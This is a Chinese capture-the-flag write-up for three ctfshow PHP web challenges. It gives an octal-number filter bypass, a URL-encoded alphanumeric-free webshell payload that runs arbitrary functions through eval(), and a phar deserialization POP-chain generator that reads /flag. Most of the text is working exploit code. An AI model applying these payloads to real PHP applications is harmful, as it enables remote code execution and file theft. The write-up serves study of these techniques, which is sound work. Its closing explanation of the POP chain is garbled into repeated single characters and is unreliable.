shellme
搜索ctfshow即可
热身
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
首先,第一个条件是经过弱类型处理后的num不能等于4476,再加上第二道坎,多以字符串4476掺杂字符是过不了的,strpos函数漏洞也被ban了,但是strpos是有三个参数的,当第三参数默认时,则默认为从第0位开始找
<?php
$a = '00123';
if(strpos($a,'0')){
echo "不是从第0位";
}else{
echo "从第0位开始的";
}
?>
所以利用8进制配合+即可绕过
?num=+010574
shellme_Revenge
f3页面查找hint:
hint=%3Flooklook; ===>hint=?looklook;
在cookie中也存在hint
然后?looklook=1即可得到题目源码:
<?php
error_reporting(0);
if ($_GET['looklook']){
highlight_file(__FILE__);
}else{
setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
eval($ctfshow);
}else{
echo("fucccc hacker!!");
}
}
} else {
phpinfo();
}
?>
一道命令执行题目!!!
所有可见符号基本已经过滤了!!!
可用的字符有:大写C 、0到3 、[ 、] 、$ 、_ 、( 、) 、;
一些不包含数字和字母的webshell利用的是方法三:
利用的是:
强制连接数组和字符串,数组将被转换成字符串
<?php
$a = ''.[];
echo $a;
?>
这里可以利用:
- PHP认为结果是无限大时,给出的结果是:INF(Infinite)
- 如果一个数超出 Infinite(无限大,正无穷),那就是: NAN(not-a-number)
<?php
$a = var_dump(C/C);
$b = var_dump(1/C);
echo $a.$b;
?>
字母/字母=0/0就会被认为是无法被测量也就是NaN
1/字母=1/0会被认为无限大INF
但是想要得到单个字符还需要连接一个字符:
<?php
$a = C/C.C;
echo $a[0];
?>
那我们需要的语句是:$_GET[0]($_GET[1])
例子 | 名称 | 效果 |
---|
++$a | 前加 | $a 的值加一,然后返回 $a。 | $a++ | 后加 | 返回 $a,然后将 $a 的值加一。 | –$a | 前减 | $a 的值减一, 然后返回 $a。 | $a– | 后减 | 返回 $a,然后将 $a 的值减一。 |
自增开始:
<?php
$_=C;
$_++;
$C=++$_;
$_++;
$C_=++$_;
$_=(C/C.C)[0];
$_++;
$_++;
$_++;
$_++;
$_++;
$_=_.$C_.$C.++$_;
$$_[1]($$_[2]);
?>
payload:ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]);
url编码:ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
ATTup
php反序列化从入门到放弃(入门篇)
抓包去上一级目录查找源码:
class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$filename = $_POST["file"];
$stat = @stat($filename);
没有序列化的点,同时满足上传,所以是利用上传phar文件然后phar://协议来执行
利用phar://协议的条件:
1、能将phar文件上传
2、可利用函数 stat、fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、readfile、md5_file、filesize
3、存在魔术方法
4、: / phar 这些字符没有给过滤
<?php
class Fun{
public $fun ;
}
class View {
public $fn='/flag';
}
$d=new Fun();
$v = new View();
$d->fun = $v;
$new = new Fun();
$new->fun = $d;
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.' __HALT_COMPILER();');
$phar->setMetadata($new);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
可以倒着看pop链首先让$new->fun = $d; 而此时的
d
是
一
个
对
象
,
而
d是一个对象,而
d是一个对象,而new->fun会在析构函数中被当做字符串拼接,也就是
d
一
个
对
象
被
作
为
字
符
串
输
出
,
所
以
就
会
调
用
t
o
s
t
r
i
n
g
,
此
时
‘
d一个对象被作为字符串输出,所以就会调用tostring,此时`
d一个对象被作为字符串输出,所以就会调用tostring,此时‘d->fun =
v
;
‘
f
u
n
c
=
v;`func=
v;‘func=v,而$v也是一个对象,所以把对象当成一个函数调用就会触发类view中的invoke方法,又因为fn可控所以就会读出我们想要的文件
然后解码就可以了
|